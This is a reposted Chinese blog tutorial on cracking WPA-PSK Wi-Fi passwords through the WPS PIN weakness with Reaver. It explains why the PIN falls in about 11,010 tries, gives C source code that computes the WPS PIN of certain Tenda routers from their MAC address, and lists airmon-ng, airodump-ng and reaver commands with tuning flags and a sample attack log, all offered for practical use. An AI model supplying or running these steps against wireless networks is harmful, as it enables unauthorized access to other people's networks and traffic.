wifi reaver

wifi reaverPIN码的格式很简单,八位十进制数,最后一位(第8位)为校验位(可根据前7位算出),验证时先检测前4位,如果一致则反馈一个信息,所以只需1万次就可完全扫描一遍前4位,前4位确定下来的话,只需再试1000次(接下来的3位),校验位可通过前7为算出,就可暴力验证出pin码。所以即时你不知道校验位怎么计算,那你最多尝试10000+1000+10次=11010次就可以获得PIN,从而获得wifi…

大家好,又见面了,我是你们的朋友全栈君。

  PIN码的格式很简单, 八位十进制数,最后一位(第8位)为校验位(可根据前7位算出),验证时先检测前4位,如果一致则反馈一个信息,所以只需1万次就可完全扫描一遍前4位,前4位确定下来的话,只需再试1000次(接下来的3位),校验位可通过前7为算出,就可暴力验证出pin码。所以即时你不知道校验位怎么计算,那你最多尝试10000+1000+10次=11010次就可以获得PIN,从而获得wifi密码

 

不过使用PIN方法破解WPA-PSK密码有一个限制,就是AP必须开启了QSS、WPS功能!我们可以在扫描AP的时候判断目标AP是否开启了QSS、WPS功能,如下图使用airodump-ng扫描时候在MB栏中后面有个“.”的就是。

image

由于PIN是随机生成的一个8位10进制数。所以这是由各路由厂商生成的。腾达(Tenda)部分路由(C83A35,00B00C)是由MAC的前6位16进制数直接转化为7位10进制数外加一个检验码生成,算法弱爆了。所以可以直接通过Dec2Hex计算出来。  而像DLink对PIN错会有延迟,这样会导致PIN速度很慢,间接起到防PIN的作用,还有很多其他的,针对不同的路由可以去网上找相关资料。而有一些TPLink是直接带有防PIN功能的。当然这都是需要时间的,所以要有耐心。

“C83A35”或“00B00C”打头路由PIN计算工具源码,大家可以自己编译:

    //Computes PIN code starts with OUI "C83A35" and "00B00C"

    //Both two OUIs which belonged to Tenda Technology Co., Ltd are confirmed effectively.
    //Coded by Zhaochunsheng - iBeini.com
    //Modified by Lingxi - WiFiBETA.COM
     
     
    #include <stdio.h>
    #include <stdlib.h>
    #include <stdafx.h>
     
    int main()
    {
     
        unsigned int wps_pin_checksum(unsigned int pin);
        int PIN = 0;
     
     //   printf("ComputePIN-C83A35\n");
        printf("Description:\n");
        printf("If your wireless router MAC address start with \"C83A35\" or \"00B00C\",\n");
        printf("type the other six digits, you might be able to get the \n");
        printf("WPS-PIN of this equipment, please have a try, good luck!\n\n");
        printf("Code by ZhaoChunsheng 04/07/2012 http://www.2cto.com \n\n");


        printf("Modified by Lingxi - WiFiBETA.COM\n\n");
    //Translated to Chinese
     printf("说明:\n");
     printf("如果您的无线路由器MAC地址以“C83A35”或“00B00C”打头,\n");
     printf("输入后六位MAC地址(不分大小写)您或许可以获得该路由的WPS PIN密钥!\n");
     printf("祝你好运!\n\n");
     printf("由赵春生编写于2012年4月7日  Http://iBeini.com\n");
     printf("由灵曦修改并汉化  WiFiBETA.COM\n\n");
     printf("请输入后六位MAC地址(HEX):\n");
     printf("Input the last 6 digits of MAC Address(HEX):");
     scanf("%x",&PIN);  printf("Last 6 digits of MAC Address(HEX) are: %X\n",PIN);
     printf("WPS PIN is: %07d%d\n",PIN%10000000,wps_pin_checksum(PIN%10000000));
     
        return 0;
    }
     
    unsigned int wps_pin_checksum(unsigned int pin)
    {
    unsigned int accum = 0;
    while (pin)
    {
    accum += 3 * (pin % 10);
    pin /= 10;
    accum += pin % 10;
    pin /= 10;
    }
     
        return (10 - accum % 10) % 10;
    }

在已知PIN码的情况下,使用 直接秒破

reaver -i mon0 -b   Mac  -p pin

image

 

使用 aircrack,寻找附近开启wps的路由器

airmon-ng start wlan0
airodump-ng mon0
ifconfig wlan0 down

   
 

使用reaver 破解开启wps功能的路由器密码

reaver在此过程中还会保存进度(/usr/local/etc/reaver/APs MAC.wpc)到文件。

reaver -i mon0 -b MAC  -N -vv

reaver  -i  mon0  -b 8C:21:0A:5F:A2:FA  -a  -S  -vv  -d2  -t 5 -c 1

Copyright (c) 2011, Tactical Network Solutions, Craig Heffner &lt;cheffner@tacnetsol.com&gt;
[+] Switching mon0 to channel 1
[+] Waiting for beacon from 8C:21:0A:5F:A2:FA
[+] Associated with 8C:21:0A:5F:A2:FA (ESSID: TP-LINK_5FA2FA)
[+] Trying pin 12345670
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received WSC NACK
[+] Sending WSC NACK

 

附上reaver调整参数的一些小技巧

reaver:

-i 监听后接口名称
-b 目标mac地址
-a 自动检测目标AP最佳配置
-S 使用最小的DH key(可以提高PJ速度)
-vv 显示更多的非严重警告
-d 即delay每穷举一次的闲置时间 预设为1秒
-t 即timeout每次穷举等待反馈的最长时间
-c指定频道可以方便找到信号,如-c1 指定1频道,大家查看自己的目标频道做相应修改 
 
 

(非TP-LINK路由推荐–d9 –t9参数防止路由僵死
    reaver -i mon0 -b MAC -a -S –d9 –t9 -vv)
应因状况调整参数(-c后面都以目标频道为1作为例子)
目标信号非常好: reaver -i mon0 -b MAC -a -S -vv -d0 -c 1
目标信号普通: reaver -i mon0 -b MAC -a -S -vv -d2 -t 5 -c 1
目标信号一般: reaver -i mon0 -b MAC -a -S -vv -d5 -c 1

 

 

 

参考链接: http://www.2cto.com/Article/201204/129296.html

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.

转载于:https://www.cnblogs.com/outline/p/reaver.html

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/136113.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • ElasticSearch join连接查询「建议收藏」

    ElasticSearch join连接查询「建议收藏」ElasticSearchjoin连接查询特别说明:文章所有内容基于ElasticSerch5.5.3版本ElasticSerch的连接查询有两种方式实现nestedparent和child关联查询nested存储结构nested的方式和其他字段一样,在同一个type里面存储,以数组的方式存储在type里,格式如下:PUTindex…

    2022年6月16日
    78
  • 记一次post请求参数太长导致的400报错

    记一次post请求参数太长导致的400报错背景:springboot2.1.1+vue2.6.11+iview3.3.0+axios0.18.1这个接口是接收前台图文编辑器的内容,插入数据库,当接收图文内容的字段过长时,就抛出400网上查了很多解决方案,都是从修改配置方面着手,试过如下:还有说debug源码的,参数格式错的……各种方法试过,大好青春浪费在试错上了。不说了,上答案:只修改了传参方式,结果如下:这里有一个关键,后台传参要用@RequestBody至于原因我就不说了,小伙伴可以自行搜索vueda

    2022年6月1日
    126
  • 克莱姆法则应用_克莱姆和克拉默法则

    克莱姆法则应用_克莱姆和克拉默法则克莱姆法则(由线性方程组的系数确定方程组解的表达式)是线性代数中一个关于求解线性方程组的定理,它适用于变量和方程数目相等的线性方程组。概念含有n个未知数的线性方程组称为n元线性方程组。1)当其右端的常数项b1,b2,…,bn不全为零时,称为非齐次线性方程组:其中,A是线性方程组的系数矩阵,X是由未知数组成的列向量,β是由常数项组成的列向量。非齐次线性方程组的矩阵形式:2)当常数项全为零…

    2022年9月12日
    3
  • javascript:是什么意思

    javascript:是什么意思JavaScript是一种基于对象和事件驱动并具有相对安全性的客户端脚本语言。同时也是一种广泛用于客户端Web开发的脚本语言,常用来给HTML网页添加动态功能,比如响应用户的各种操作。它最初由网景公司

    2022年8月5日
    6
  • python把数据存入txt_python数据保存为csv文件

    python把数据存入txt_python数据保存为csv文件参考:Python中文件的读取和写入PYTHON将list或/dict对象写入txt/json文件python(如何将数据写入本地txt文本文件)python中文件写入TXTPython中将变量按行写入txt文本中python把变量写入txt文件。Python读写文件python文件操作Python之文件读写Python程序输出到文件中python把一个unicode字符串…

    2022年10月2日
    4
  • 【Math for ML】线性代数-单射,满射,双射,同构,同态,仿射[通俗易懂]

    【Math for ML】线性代数-单射,满射,双射,同构,同态,仿射[通俗易懂]I.映射(Mapping)1.单射(Injective)函数f是单射当且仅当若f(x)=f(y)则x=y。例子:f(x)=x+5从实数集\(R\)到\(R\)是个单射函数。这个函数很容易被还原:f(3)=8,即已知8可以返回32.满射(Surjective)函数f(从集A到集B)是满射当且仅当在B中的每个y存在至少…

    2022年5月24日
    52

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号